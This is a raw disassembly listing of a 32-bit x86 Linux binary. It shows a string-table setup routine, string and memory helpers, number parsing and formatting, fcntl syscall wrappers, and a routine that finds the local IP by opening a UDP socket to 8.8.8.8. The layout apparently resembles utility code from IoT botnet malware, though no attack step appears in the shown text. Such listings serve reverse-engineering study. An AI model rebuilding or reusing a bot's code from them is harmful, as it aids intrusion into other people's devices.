804b976: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
804b97d: 66 c7 05 c4 f1 04 08 movw $0x6,0x804f1c4
804b984: 06 00
804b986: e8 e5 0e 00 00 call 0x804c870
804b98b: 83 c4 0c add $0xc,%esp
804b98e: 89 c3 mov %eax,%ebx
804b990: 6a 0e push $0xe
804b992: 68 4b e9 04 08 push $0x804e94b
804b997: 50 push %eax
804b998: e8 c3 02 00 00 call 0x804bc60
804b99d: 89 1d c8 f1 04 08 mov %ebx,0x804f1c8
804b9a3: c7 04 24 08 00 00 00 movl $0x8,(%esp)
804b9aa: 66 c7 05 cc f1 04 08 movw $0xe,0x804f1cc
804b9b1: 0e 00
804b9b3: e8 b8 0e 00 00 call 0x804c870
804b9b8: 83 c4 0c add $0xc,%esp
804b9bb: 89 c3 mov %eax,%ebx
804b9bd: 6a 08 push $0x8
804b9bf: 68 5a e9 04 08 push $0x804e95a
804b9c4: 50 push %eax
804b9c5: e8 96 02 00 00 call 0x804bc60
804b9ca: 89 1d 28 f2 04 08 mov %ebx,0x804f228
804b9d0: c7 04 24 07 00 00 00 movl $0x7,(%esp)
804b9d7: 66 c7 05 2c f2 04 08 movw $0x8,0x804f22c
804b9de: 08 00
804b9e0: e8 8b 0e 00 00 call 0x804c870
804b9e5: 83 c4 0c add $0xc,%esp
804b9e8: 89 c3 mov %eax,%ebx
804b9ea: 6a 07 push $0x7
804b9ec: 68 63 e9 04 08 push $0x804e963
804b9f1: 50 push %eax
804b9f2: e8 69 02 00 00 call 0x804bc60
804b9f7: 89 1d 30 f2 04 08 mov %ebx,0x804f230
804b9fd: c7 04 24 10 00 00 00 movl $0x10,(%esp)
804ba04: 66 c7 05 34 f2 04 08 movw $0x7,0x804f234
804ba0b: 07 00
804ba0d: e8 5e 0e 00 00 call 0x804c870
804ba12: 83 c4 0c add $0xc,%esp
804ba15: 89 c3 mov %eax,%ebx
804ba17: 6a 10 push $0x10
804ba19: 68 6b e9 04 08 push $0x804e96b
804ba1e: 50 push %eax
804ba1f: e8 3c 02 00 00 call 0x804bc60
804ba24: 89 1d d0 f1 04 08 mov %ebx,0x804f1d0
804ba2a: c7 04 24 08 00 00 00 movl $0x8,(%esp)
804ba31: 66 c7 05 d4 f1 04 08 movw $0x10,0x804f1d4
804ba38: 10 00
804ba3a: e8 31 0e 00 00 call 0x804c870
804ba3f: 83 c4 0c add $0xc,%esp
804ba42: 89 c3 mov %eax,%ebx
804ba44: 6a 08 push $0x8
804ba46: 68 7c e9 04 08 push $0x804e97c
804ba4b: 50 push %eax
804ba4c: e8 0f 02 00 00 call 0x804bc60
804ba51: 89 1d d8 f1 04 08 mov %ebx,0x804f1d8
804ba57: c7 04 24 15 00 00 00 movl $0x15,(%esp)
804ba5e: 66 c7 05 dc f1 04 08 movw $0x8,0x804f1dc
804ba65: 08 00
804ba67: e8 04 0e 00 00 call 0x804c870
804ba6c: 83 c4 0c add $0xc,%esp
804ba6f: 89 c3 mov %eax,%ebx
804ba71: 6a 15 push $0x15
804ba73: 68 f5 e9 04 08 push $0x804e9f5
804ba78: 50 push %eax
804ba79: e8 e2 01 00 00 call 0x804bc60
804ba7e: 89 1d e0 f1 04 08 mov %ebx,0x804f1e0
804ba84: c7 04 24 11 00 00 00 movl $0x11,(%esp)
804ba8b: 66 c7 05 e4 f1 04 08 movw $0x15,0x804f1e4
804ba92: 15 00
804ba94: e8 d7 0d 00 00 call 0x804c870
804ba99: 83 c4 0c add $0xc,%esp
804ba9c: 89 c3 mov %eax,%ebx
804ba9e: 6a 11 push $0x11
804baa0: 68 85 e9 04 08 push $0x804e985
804baa5: 50 push %eax
804baa6: e8 b5 01 00 00 call 0x804bc60
804baab: 89 1d e8 f1 04 08 mov %ebx,0x804f1e8
804bab1: c7 04 24 0c 00 00 00 movl $0xc,(%esp)
804bab8: 66 c7 05 ec f1 04 08 movw $0x11,0x804f1ec
804babf: 11 00
804bac1: e8 aa 0d 00 00 call 0x804c870
804bac6: 83 c4 0c add $0xc,%esp
804bac9: 89 c3 mov %eax,%ebx
804bacb: 6a 0c push $0xc
804bacd: 68 97 e9 04 08 push $0x804e997
804bad2: 50 push %eax
804bad3: e8 88 01 00 00 call 0x804bc60
804bad8: 89 1d f0 f1 04 08 mov %ebx,0x804f1f0
804bade: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
804bae5: 66 c7 05 f4 f1 04 08 movw $0xc,0x804f1f4
804baec: 0c 00
804baee: e8 7d 0d 00 00 call 0x804c870
804baf3: 83 c4 0c add $0xc,%esp
804baf6: 89 c3 mov %eax,%ebx
804baf8: 6a 0e push $0xe
804bafa: 68 a4 e9 04 08 push $0x804e9a4
804baff: 50 push %eax
804bb00: e8 5b 01 00 00 call 0x804bc60
804bb05: 89 1d f8 f1 04 08 mov %ebx,0x804f1f8
804bb0b: c7 04 24 13 00 00 00 movl $0x13,(%esp)
804bb12: 66 c7 05 fc f1 04 08 movw $0xe,0x804f1fc
804bb19: 0e 00
804bb1b: e8 50 0d 00 00 call 0x804c870
804bb20: 83 c4 0c add $0xc,%esp
804bb23: 89 c3 mov %eax,%ebx
804bb25: 6a 13 push $0x13
804bb27: 68 b3 e9 04 08 push $0x804e9b3
804bb2c: 50 push %eax
804bb2d: e8 2e 01 00 00 call 0x804bc60
804bb32: 89 1d 00 f2 04 08 mov %ebx,0x804f200
804bb38: c7 04 24 08 00 00 00 movl $0x8,(%esp)
804bb3f: 66 c7 05 04 f2 04 08 movw $0x13,0x804f204
804bb46: 13 00
804bb48: e8 23 0d 00 00 call 0x804c870
804bb4d: 83 c4 0c add $0xc,%esp
804bb50: 89 c3 mov %eax,%ebx
804bb52: 6a 08 push $0x8
804bb54: 68 c7 e9 04 08 push $0x804e9c7
804bb59: 50 push %eax
804bb5a: e8 01 01 00 00 call 0x804bc60
804bb5f: 89 1d 08 f2 04 08 mov %ebx,0x804f208
804bb65: c7 04 24 05 00 00 00 movl $0x5,(%esp)
804bb6c: 66 c7 05 0c f2 04 08 movw $0x8,0x804f20c
804bb73: 08 00
804bb75: e8 f6 0c 00 00 call 0x804c870
804bb7a: 83 c4 0c add $0xc,%esp
804bb7d: 89 c3 mov %eax,%ebx
804bb7f: 6a 05 push $0x5
804bb81: 68 d0 e9 04 08 push $0x804e9d0
804bb86: 50 push %eax
804bb87: e8 d4 00 00 00 call 0x804bc60
804bb8c: 89 1d 10 f2 04 08 mov %ebx,0x804f210
804bb92: c7 04 24 06 00 00 00 movl $0x6,(%esp)
804bb99: 66 c7 05 14 f2 04 08 movw $0x5,0x804f214
804bba0: 05 00
804bba2: e8 c9 0c 00 00 call 0x804c870
804bba7: 83 c4 0c add $0xc,%esp
804bbaa: 89 c3 mov %eax,%ebx
804bbac: 6a 06 push $0x6
804bbae: 68 d6 e9 04 08 push $0x804e9d6
804bbb3: 50 push %eax
804bbb4: e8 a7 00 00 00 call 0x804bc60
804bbb9: 89 1d 18 f2 04 08 mov %ebx,0x804f218
804bbbf: c7 04 24 17 00 00 00 movl $0x17,(%esp)
804bbc6: 66 c7 05 1c f2 04 08 movw $0x6,0x804f21c
804bbcd: 06 00
804bbcf: e8 9c 0c 00 00 call 0x804c870
804bbd4: 83 c4 0c add $0xc,%esp
804bbd7: 89 c3 mov %eax,%ebx
804bbd9: 6a 17 push $0x17
804bbdb: 68 dd e9 04 08 push $0x804e9dd
804bbe0: 50 push %eax
804bbe1: e8 7a 00 00 00 call 0x804bc60
804bbe6: 89 1d 20 f2 04 08 mov %ebx,0x804f220
804bbec: 66 c7 05 24 f2 04 08 movw $0x17,0x804f224
804bbf3: 17 00
804bbf5: 83 c4 18 add $0x18,%esp
804bbf8: 5b pop %ebx
804bbf9: c3 ret
804bbfa: 90 nop
804bbfb: 90 nop
804bbfc: 90 nop
804bbfd: 90 nop
804bbfe: 90 nop
804bbff: 90 nop
804bc00: 8b 54 24 04 mov 0x4(%esp),%edx
804bc04: 31 c0 xor %eax,%eax
804bc06: 80 3a 00 cmpb $0x0,(%edx)
804bc09: 74 0c je 0x804bc17
804bc0b: 90 nop
804bc0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
804bc10: 40 inc %eax
804bc11: 80 3c 10 00 cmpb $0x0,(%eax,%edx,1)
804bc15: 75 f9 jne 0x804bc10
804bc17: c3 ret
804bc18: 90 nop
804bc19: 90 nop
804bc1a: 90 nop
804bc1b: 90 nop
804bc1c: 90 nop
804bc1d: 90 nop
804bc1e: 90 nop
804bc1f: 90 nop
804bc20: 56 push %esi
804bc21: 53 push %ebx
804bc22: 8b 44 24 10 mov 0x10(%esp),%eax
804bc26: 8b 54 24 0c mov 0xc(%esp),%edx
804bc2a: 80 38 00 cmpb $0x0,(%eax)
804bc2d: 74 25 je 0x804bc54
804bc2f: 31 f6 xor %esi,%esi
804bc31: 46 inc %esi
804bc32: 80 3c 06 00 cmpb $0x0,(%esi,%eax,1)
804bc36: 75 f9 jne 0x804bc31
804bc38: 83 fe ff cmp $0xffffffff,%esi
804bc3b: 74 12 je 0x804bc4f
804bc3d: 89 d3 mov %edx,%ebx
804bc3f: 89 c1 mov %eax,%ecx
804bc41: 89 f2 mov %esi,%edx
804bc43: 8a 01 mov (%ecx),%al
804bc45: 4a dec %edx
804bc46: 88 03 mov %al,(%ebx)
804bc48: 41 inc %ecx
804bc49: 43 inc %ebx
804bc4a: 83 fa ff cmp $0xffffffff,%edx
804bc4d: 75 f4 jne 0x804bc43
804bc4f: 89 f0 mov %esi,%eax
804bc51: 5b pop %ebx
804bc52: 5e pop %esi
804bc53: c3 ret
804bc54: 89 d3 mov %edx,%ebx
804bc56: 89 c1 mov %eax,%ecx
804bc58: 31 d2 xor %edx,%edx
804bc5a: 31 f6 xor %esi,%esi
804bc5c: eb e5 jmp 0x804bc43
804bc5e: 90 nop
804bc5f: 90 nop
804bc60: 56 push %esi
804bc61: 53 push %ebx
804bc62: 8b 4c 24 14 mov 0x14(%esp),%ecx
804bc66: 8b 74 24 0c mov 0xc(%esp),%esi
804bc6a: 8b 5c 24 10 mov 0x10(%esp),%ebx
804bc6e: 85 c9 test %ecx,%ecx
804bc70: 74 0d je 0x804bc7f
804bc72: 31 d2 xor %edx,%edx
804bc74: 8a 04 1a mov (%edx,%ebx,1),%al
804bc77: 88 04 32 mov %al,(%edx,%esi,1)
804bc7a: 42 inc %edx
804bc7b: 39 ca cmp %ecx,%edx
804bc7d: 75 f5 jne 0x804bc74
804bc7f: 5b pop %ebx
804bc80: 5e pop %esi
804bc81: c3 ret
804bc82: 90 nop
804bc83: 90 nop
804bc84: 90 nop
804bc85: 90 nop
804bc86: 90 nop
804bc87: 90 nop
804bc88: 90 nop
804bc89: 90 nop
804bc8a: 90 nop
804bc8b: 90 nop
804bc8c: 90 nop
804bc8d: 90 nop
804bc8e: 90 nop
804bc8f: 90 nop
804bc90: 8b 54 24 08 mov 0x8(%esp),%edx
804bc94: 8b 4c 24 04 mov 0x4(%esp),%ecx
804bc98: 85 d2 test %edx,%edx
804bc9a: 74 0d je 0x804bca9
804bc9c: 31 c0 xor %eax,%eax
804bc9e: 89 f6 mov %esi,%esi
804bca0: c6 04 08 00 movb $0x0,(%eax,%ecx,1)
804bca4: 40 inc %eax
804bca5: 39 d0 cmp %edx,%eax
804bca7: 75 f7 jne 0x804bca0
804bca9: c3 ret
804bcaa: 90 nop
804bcab: 90 nop
804bcac: 90 nop
804bcad: 90 nop
804bcae: 90 nop
804bcaf: 90 nop
804bcb0: 55 push %ebp
804bcb1: 57 push %edi
804bcb2: 56 push %esi
804bcb3: 53 push %ebx
804bcb4: 83 ec 10 sub $0x10,%esp
804bcb7: 8b 74 24 24 mov 0x24(%esp),%esi
804bcbb: 90 nop
804bcbc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
804bcc0: 8a 0e mov (%esi),%cl
804bcc2: 46 inc %esi
804bcc3: 0f be d9 movsbl %cl,%ebx
804bcc6: 0f be c3 movsbl %bl,%eax
804bcc9: 89 04 24 mov %eax,(%esp)
804bccc: 3c 20 cmp $0x20,%al
804bcce: 74 f0 je 0x804bcc0
804bcd0: 3c 09 cmp $0x9,%al
804bcd2: 74 ec je 0x804bcc0
804bcd4: 3c 0a cmp $0xa,%al
804bcd6: 74 e8 je 0x804bcc0
804bcd8: 80 f9 2d cmp $0x2d,%cl
804bcdb: 0f 84 ac 00 00 00 je 0x804bd8d
804bce1: 80 f9 2b cmp $0x2b,%cl
804bce4: 0f 84 d3 00 00 00 je 0x804bdbd
804bcea: b9 ff ff ff 7f mov $0x7fffffff,%ecx
804bcef: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
804bcf6: 00
804bcf7: 89 c8 mov %ecx,%eax
804bcf9: 31 d2 xor %edx,%edx
804bcfb: f7 74 24 28 divl 0x28(%esp)
804bcff: 31 ed xor %ebp,%ebp
804bd01: 31 ff xor %edi,%edi
804bd03: 89 54 24 08 mov %edx,0x8(%esp)
804bd07: 89 44 24 04 mov %eax,0x4(%esp)
804bd0b: eb 31 jmp 0x804bd3e
804bd0d: 8d 76 00 lea 0x0(%esi),%esi
804bd10: 8d 53 d0 lea -0x30(%ebx),%edx
804bd13: 3b 54 24 28 cmp 0x28(%esp),%edx
804bd17: 7d 51 jge 0x804bd6a
804bd19: 85 ff test %edi,%edi
804bd1b: 78 6b js 0x804bd88
804bd1d: 3b 6c 24 04 cmp 0x4(%esp),%ebp
804bd21: 77 65 ja 0x804bd88
804bd23: 74 5d je 0x804bd82
804bd25: 8b 44 24 28 mov 0x28(%esp),%eax
804bd29: bf 01 00 00 00 mov $0x1,%edi
804bd2e: 0f af c5 imul %ebp,%eax
804bd31: 8d 2c 10 lea (%eax,%edx,1),%ebp
804bd34: 0f be 1e movsbl (%esi),%ebx
804bd37: 0f be c3 movsbl %bl,%eax
804bd3a: 46 inc %esi
804bd3b: 89 04 24 mov %eax,(%esp)
804bd3e: 8a 14 24 mov (%esp),%dl
804bd41: 8d 42 d0 lea -0x30(%edx),%eax
804bd44: 3c 09 cmp $0x9,%al
804bd46: 76 c8 jbe 0x804bd10
804bd48: 8d 42 bf lea -0x41(%edx),%eax
804bd4b: b9 37 00 00 00 mov $0x37,%ecx
804bd50: 3c 19 cmp $0x19,%al
804bd52: 76 0c jbe 0x804bd60
804bd54: 8d 42 9f lea -0x61(%edx),%eax
804bd57: 3c 19 cmp $0x19,%al
804bd59: 77 0f ja 0x804bd6a
804bd5b: b1 57 mov $0x57,%cl
804bd5d: 8d 76 00 lea 0x0(%esi),%esi
804bd60: 89 da mov %ebx,%edx
804bd62: 29 ca sub %ecx,%edx
804bd64: 3b 54 24 28 cmp 0x28(%esp),%edx
804bd68: 7c af jl 0x804bd19
804bd6a: 85 ff test %edi,%edi
804bd6c: 78 3b js 0x804bda9
804bd6e: 8b 4c 24 0c mov 0xc(%esp),%ecx
804bd72: 89 e8 mov %ebp,%eax
804bd74: 85 c9 test %ecx,%ecx
804bd76: 74 02 je 0x804bd7a
804bd78: f7 d8 neg %eax
804bd7a: 83 c4 10 add $0x10,%esp
804bd7d: 5b pop %ebx
804bd7e: 5e pop %esi
804bd7f: 5f pop %edi
804bd80: 5d pop %ebp
804bd81: c3 ret
804bd82: 3b 54 24 08 cmp 0x8(%esp),%edx
804bd86: 7e 9d jle 0x804bd25
804bd88: 83 cf ff or $0xffffffff,%edi
804bd8b: eb a7 jmp 0x804bd34
804bd8d: 0f be 1e movsbl (%esi),%ebx
804bd90: b9 00 00 00 80 mov $0x80000000,%ecx
804bd95: 46 inc %esi
804bd96: 0f be d3 movsbl %bl,%edx
804bd99: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
804bda0: 00
804bda1: 89 14 24 mov %edx,(%esp)
804bda4: e9 4e ff ff ff jmp 0x804bcf7
804bda9: 83 7c 24 0c 01 cmpl $0x1,0xc(%esp)
804bdae: 19 c0 sbb %eax,%eax
804bdb0: 83 c4 10 add $0x10,%esp
804bdb3: 2d 00 00 00 80 sub $0x80000000,%eax
804bdb8: 5b pop %ebx
804bdb9: 5e pop %esi
804bdba: 5f pop %edi
804bdbb: 5d pop %ebp
804bdbc: c3 ret
804bdbd: 0f be 1e movsbl (%esi),%ebx
804bdc0: 46 inc %esi
804bdc1: 0f be c3 movsbl %bl,%eax
804bdc4: 89 04 24 mov %eax,(%esp)
804bdc7: e9 1e ff ff ff jmp 0x804bcea
804bdcc: 90 nop
804bdcd: 90 nop
804bdce: 90 nop
804bdcf: 90 nop
804bdd0: 55 push %ebp
804bdd1: 57 push %edi
804bdd2: 56 push %esi
804bdd3: 53 push %ebx
804bdd4: 83 ec 0c sub $0xc,%esp
804bdd7: 31 db xor %ebx,%ebx
804bdd9: 8b 74 24 20 mov 0x20(%esp),%esi
804bddd: 8b 6c 24 24 mov 0x24(%esp),%ebp
804bde1: 8b 7c 24 28 mov 0x28(%esp),%edi
804bde5: 50 push %eax
804bde6: 8d 04 1e lea (%esi,%ebx,1),%eax
804bde9: 6a 01 push $0x1
804bdeb: 50 push %eax
804bdec: 57 push %edi
804bded: e8 7c 04 00 00 call 0x804c26e
804bdf2: 83 c4 10 add $0x10,%esp
804bdf5: 48 dec %eax
804bdf6: 75 0c jne 0x804be04
804bdf8: 43 inc %ebx
804bdf9: 39 dd cmp %ebx,%ebp
804bdfb: 7e 07 jle 0x804be04
804bdfd: 80 7c 33 ff 0a cmpb $0xa,-0x1(%ebx,%esi,1)
804be02: 75 e1 jne 0x804bde5
804be04: 85 db test %ebx,%ebx
804be06: 0f 95 c0 setne %al
804be09: 25 ff 00 00 00 and $0xff,%eax
804be0e: 83 c4 0c add $0xc,%esp
804be11: f7 d8 neg %eax
804be13: 21 c6 and %eax,%esi
804be15: 5b pop %ebx
804be16: 89 f0 mov %esi,%eax
804be18: 5e pop %esi
804be19: 5f pop %edi
804be1a: 5d pop %ebp
804be1b: c3 ret
804be1c: 90 nop
804be1d: 90 nop
804be1e: 90 nop
804be1f: 90 nop
804be20: 56 push %esi
804be21: 53 push %ebx
804be22: 83 ec 24 sub $0x24,%esp
804be25: c7 44 24 20 10 00 00 movl $0x10,0x20(%esp)
804be2c: 00
804be2d: e8 84 07 00 00 call 0x804c5b6
804be32: c7 00 00 00 00 00 movl $0x0,(%eax)
804be38: 50 push %eax
804be39: 6a 00 push $0x0
804be3b: 6a 02 push $0x2
804be3d: 6a 02 push $0x2
804be3f: e8 db 09 00 00 call 0x804c81f
804be44: 89 c6 mov %eax,%esi
804be46: 83 c4 10 add $0x10,%esp
804be49: 31 c0 xor %eax,%eax
804be4b: 83 fe ff cmp $0xffffffff,%esi
804be4e: 74 42 je 0x804be92
804be50: 8d 5c 24 10 lea 0x10(%esp),%ebx
804be54: 66 c7 44 24 10 02 00 movw $0x2,0x10(%esp)
804be5b: c7 44 24 14 08 08 08 movl $0x8080808,0x14(%esp)
804be62: 08
804be63: 66 c7 44 24 12 00 35 movw $0x3500,0x12(%esp)
804be6a: 50 push %eax
804be6b: 6a 10 push $0x10
804be6d: 53 push %ebx
804be6e: 56 push %esi
804be6f: e8 13 08 00 00 call 0x804c687
804be74: 83 c4 0c add $0xc,%esp
804be77: 8d 44 24 24 lea 0x24(%esp),%eax
804be7b: 50 push %eax
804be7c: 53 push %ebx
804be7d: 56 push %esi
804be7e: e8 2f 08 00 00 call 0x804c6b2
804be83: 89 34 24 mov %esi,(%esp)
804be86: e8 48 02 00 00 call 0x804c0d3
804be8b: 8b 44 24 24 mov 0x24(%esp),%eax
804be8f: 83 c4 10 add $0x10,%esp
804be92: 83 c4 24 add $0x24,%esp
804be95: 5b pop %ebx
804be96: 5e pop %esi
804be97: c3 ret
804be98: 90 nop
804be99: 90 nop
804be9a: 90 nop
804be9b: 90 nop
804be9c: 90 nop
804be9d: 90 nop
804be9e: 90 nop
804be9f: 90 nop
804bea0: 55 push %ebp
804bea1: 57 push %edi
804bea2: 56 push %esi
804bea3: 53 push %ebx
804bea4: 83 ec 04 sub $0x4,%esp
804bea7: 8b 6c 24 20 mov 0x20(%esp),%ebp
804beab: c7 04 24 00 00 00 00 movl $0x0,(%esp)
804beb2: 80 7d 00 00 cmpb $0x0,0x0(%ebp)
804beb6: 74 10 je 0x804bec8
804beb8: 8b 1c 24 mov (%esp),%ebx
804bebb: 43 inc %ebx
804bebc: 89 1c 24 mov %ebx,(%esp)
804bebf: 8b 04 24 mov (%esp),%eax
804bec2: 80 3c 28 00 cmpb $0x0,(%eax,%ebp,1)
804bec6: 75 f0 jne 0x804beb8
804bec8: 8b 5c 24 1c mov 0x1c(%esp),%ebx
804becc: 31 ff xor %edi,%edi
804bece: 8b 74 24 18 mov 0x18(%esp),%esi
804bed2: 85 db test %ebx,%ebx
804bed4: 7e 26 jle 0x804befc
804bed6: 8a 0e mov (%esi),%cl
804bed8: 8a 54 3d 00 mov 0x0(%ebp,%edi,1),%dl
804bedc: 46 inc %esi
804bedd: 8d 41 bf lea -0x41(%ecx),%eax
804bee0: 3c 19 cmp $0x19,%al
804bee2: 77 03 ja 0x804bee7
804bee4: 83 c9 60 or $0x60,%ecx
804bee7: 8d 42 bf lea -0x41(%edx),%eax
804beea: 3c 19 cmp $0x19,%al
804beec: 77 03 ja 0x804bef1
804beee: 83 ca 60 or $0x60,%edx
804bef1: 38 d1 cmp %dl,%cl
804bef3: 74 10 je 0x804bf05
804bef5: 31 ff xor %edi,%edi
804bef7: 4b dec %ebx
804bef8: 85 db test %ebx,%ebx
804befa: 7f da jg 0x804bed6
804befc: 83 c8 ff or $0xffffffff,%eax
804beff: 5a pop %edx
804bf00: 5b pop %ebx
804bf01: 5e pop %esi
804bf02: 5f pop %edi
804bf03: 5d pop %ebp
804bf04: c3 ret
804bf05: 47 inc %edi
804bf06: 39 3c 24 cmp %edi,(%esp)
804bf09: 75 ec jne 0x804bef7
804bf0b: 89 f0 mov %esi,%eax
804bf0d: 8b 4c 24 18 mov 0x18(%esp),%ecx
804bf11: 29 c8 sub %ecx,%eax
804bf13: 5a pop %edx
804bf14: 5b pop %ebx
804bf15: 5e pop %esi
804bf16: 5f pop %edi
804bf17: 5d pop %ebp
804bf18: c3 ret
804bf19: 90 nop
804bf1a: 90 nop
804bf1b: 90 nop
804bf1c: 90 nop
804bf1d: 90 nop
804bf1e: 90 nop
804bf1f: 90 nop
804bf20: 56 push %esi
804bf21: 53 push %ebx
804bf22: 8b 5c 24 0c mov 0xc(%esp),%ebx
804bf26: 31 f6 xor %esi,%esi
804bf28: 8b 4c 24 10 mov 0x10(%esp),%ecx
804bf2c: 80 3b 00 cmpb $0x0,(%ebx)
804bf2f: 74 07 je 0x804bf38
804bf31: 46 inc %esi
804bf32: 80 3c 1e 00 cmpb $0x0,(%esi,%ebx,1)
804bf36: 75 f9 jne 0x804bf31
804bf38: 31 c0 xor %eax,%eax
804bf3a: 80 39 00 cmpb $0x0,(%ecx)
804bf3d: 74 08 je 0x804bf47
804bf3f: 90 nop
804bf40: 40 inc %eax
804bf41: 80 3c 08 00 cmpb $0x0,(%eax,%ecx,1)
804bf45: 75 f9 jne 0x804bf40
804bf47: 89 c2 mov %eax,%edx
804bf49: 39 c6 cmp %eax,%esi
804bf4b: 74 07 je 0x804bf54
804bf4d: 31 c0 xor %eax,%eax
804bf4f: 5b pop %ebx
804bf50: 5e pop %esi
804bf51: c3 ret
804bf52: 43 inc %ebx
804bf53: 41 inc %ecx
804bf54: 4a dec %edx
804bf55: 83 fa ff cmp $0xffffffff,%edx
804bf58: 74 08 je 0x804bf62
804bf5a: 8a 03 mov (%ebx),%al
804bf5c: 3a 01 cmp (%ecx),%al
804bf5e: 74 f2 je 0x804bf52
804bf60: eb eb jmp 0x804bf4d
804bf62: b8 01 00 00 00 mov $0x1,%eax
804bf67: 5b pop %ebx
804bf68: 5e pop %esi
804bf69: c3 ret
804bf6a: 90 nop
804bf6b: 90 nop
804bf6c: 90 nop
804bf6d: 90 nop
804bf6e: 90 nop
804bf6f: 90 nop
804bf70: 55 push %ebp
804bf71: 57 push %edi
804bf72: 56 push %esi
804bf73: 53 push %ebx
804bf74: 83 ec 30 sub $0x30,%esp
804bf77: 8b 7c 24 4c mov 0x4c(%esp),%edi
804bf7b: 8b 44 24 44 mov 0x44(%esp),%eax
804bf7f: 8b 74 24 48 mov 0x48(%esp),%esi
804bf83: 85 ff test %edi,%edi
804bf85: 74 69 je 0x804bff0
804bf87: 85 c0 test %eax,%eax
804bf89: 74 75 je 0x804c000
804bf8b: c6 44 24 2f 00 movb $0x0,0x2f(%esp)
804bf90: 83 fe 0a cmp $0xa,%esi
804bf93: 0f 84 84 00 00 00 je 0x804c01d
804bf99: 89 c1 mov %eax,%ecx
804bf9b: 31 ed xor %ebp,%ebp
804bf9d: bb 20 00 00 00 mov $0x20,%ebx
804bfa2: 31 d2 xor %edx,%edx
804bfa4: 89 c8 mov %ecx,%eax
804bfa6: f7 f6 div %esi
804bfa8: 83 fa 09 cmp $0x9,%edx
804bfab: 8d 42 30 lea 0x30(%edx),%eax
804bfae: 7e 03 jle 0x804bfb3
804bfb0: 8d 42 37 lea 0x37(%edx),%eax
804bfb3: 88 44 1c 0e mov %al,0xe(%esp,%ebx,1)
804bfb7: 31 d2 xor %edx,%edx
804bfb9: 89 c8 mov %ecx,%eax
804bfbb: 4b dec %ebx
804bfbc: f7 f6 div %esi
804bfbe: 89 c1 mov %eax,%ecx
804bfc0: 85 c0 test %eax,%eax
804bfc2: 75 de jne 0x804bfa2
804bfc4: 85 ed test %ebp,%ebp
804bfc6: 75 4e jne 0x804c016
804bfc8: 43 inc %ebx
804bfc9: 8d 44 1c 0e lea 0xe(%esp,%ebx,1),%eax
804bfcd: 80 38 00 cmpb $0x0,(%eax)
804bfd0: 74 63 je 0x804c035
804bfd2: 31 c9 xor %ecx,%ecx
804bfd4: 41 inc %ecx
804bfd5: 80 3c 01 00 cmpb $0x0,(%ecx,%eax,1)
804bfd9: 75 f9 jne 0x804bfd4
804bfdb: 83 f9 ff cmp $0xffffffff,%ecx
804bfde: 74 10 je 0x804bff0
804bfe0: 89 fb mov %edi,%ebx
804bfe2: 89 c2 mov %eax,%edx
804bfe4: 8a 02 mov (%edx),%al
804bfe6: 49 dec %ecx
804bfe7: 88 03 mov %al,(%ebx)
804bfe9: 42 inc %edx
804bfea: 43 inc %ebx
804bfeb: 83 f9 ff cmp $0xffffffff,%ecx
804bfee: 75 f4 jne 0x804bfe4
804bff0: 83 c4 30 add $0x30,%esp
804bff3: 89 f8 mov %edi,%eax
804bff5: 5b pop %ebx
804bff6: 5e pop %esi
804bff7: 5f pop %edi
804bff8: 5d pop %ebp
804bff9: c3 ret
804bffa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
804c000: c6 07 30 movb $0x30,(%edi)
804c003: c6 47 01 00 movb $0x0,0x1(%edi)
804c007: 89 f8 mov %edi,%eax
804c009: 83 c4 30 add $0x30,%esp
804c00c: 5b pop %ebx
804c00d: 5e pop %esi
804c00e: 5f pop %edi
804c00f: 5d pop %ebp
804c010: c3 ret
804c011: bb 20 00 00 00 mov $0x20,%ebx
804c016: c6 44 1c 0e 2d movb $0x2d,0xe(%esp,%ebx,1)
804c01b: eb ac jmp 0x804bfc9
804c01d: 85 c0 test %eax,%eax
804c01f: 0f 89 74 ff ff ff jns 0x804bf99
804c025: 89 c1 mov %eax,%ecx
804c027: f7 d9 neg %ecx
804c029: 74 e6 je 0x804c011
804c02b: bd 01 00 00 00 mov $0x1,%ebp
804c030: e9 68 ff ff ff jmp 0x804bf9d
804c035: 89 fb mov %edi,%ebx
804c037: 89 c2 mov %eax,%edx
804c039: 31 c9 xor %ecx,%ecx
804c03b: eb a7 jmp 0x804bfe4
804c03d: 57 push %edi
804c03e: 53 push %ebx
804c03f: 83 ec 14 sub $0x14,%esp
804c042: 8b 4c 24 24 mov 0x24(%esp),%ecx
804c046: 8d 44 24 2c lea 0x2c(%esp),%eax
804c04a: 89 44 24 10 mov %eax,0x10(%esp)
804c04e: 8b 7c 24 20 mov 0x20(%esp),%edi
804c052: 8d 41 f4 lea -0xc(%ecx),%eax
804c055: 8b 54 24 28 mov 0x28(%esp),%edx
804c059: 83 f8 02 cmp $0x2,%eax
804c05c: 77 0e ja 0x804c06c
804c05e: 50 push %eax
804c05f: 52 push %edx
804c060: 51 push %ecx
804c061: 57 push %edi
804c062: e8 2d 00 00 00 call 0x804c094
804c067: 83 c4 10 add $0x10,%esp
804c06a: eb 22 jmp 0x804c08e
804c06c: 53 push %ebx
804c06d: 89 fb mov %edi,%ebx
804c06f: b8 37 00 00 00 mov $0x37,%eax
804c074: cd 80 int $0x80
804c076: 5b pop %ebx
804c077: 89 c3 mov %eax,%ebx
804c079: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c07e: 76 0c jbe 0x804c08c
804c080: e8 31 05 00 00 call 0x804c5b6
804c085: f7 db neg %ebx
804c087: 89 18 mov %ebx,(%eax)
804c089: 83 cb ff or $0xffffffff,%ebx
804c08c: 89 d8 mov %ebx,%eax
804c08e: 83 c4 14 add $0x14,%esp
804c091: 5b pop %ebx
804c092: 5f pop %edi
804c093: c3 ret
804c094: 57 push %edi
804c095: 83 ec 18 sub $0x18,%esp
804c098: 8d 44 24 2c lea 0x2c(%esp),%eax
804c09c: 8b 7c 24 20 mov 0x20(%esp),%edi
804c0a0: 8b 4c 24 24 mov 0x24(%esp),%ecx
804c0a4: 89 44 24 14 mov %eax,0x14(%esp)
804c0a8: 8b 54 24 28 mov 0x28(%esp),%edx
804c0ac: 53 push %ebx
804c0ad: 89 fb mov %edi,%ebx
804c0af: b8 dd 00 00 00 mov $0xdd,%eax
804c0b4: cd 80 int $0x80
804c0b6: 5b pop %ebx
804c0b7: 89 c7 mov %eax,%edi
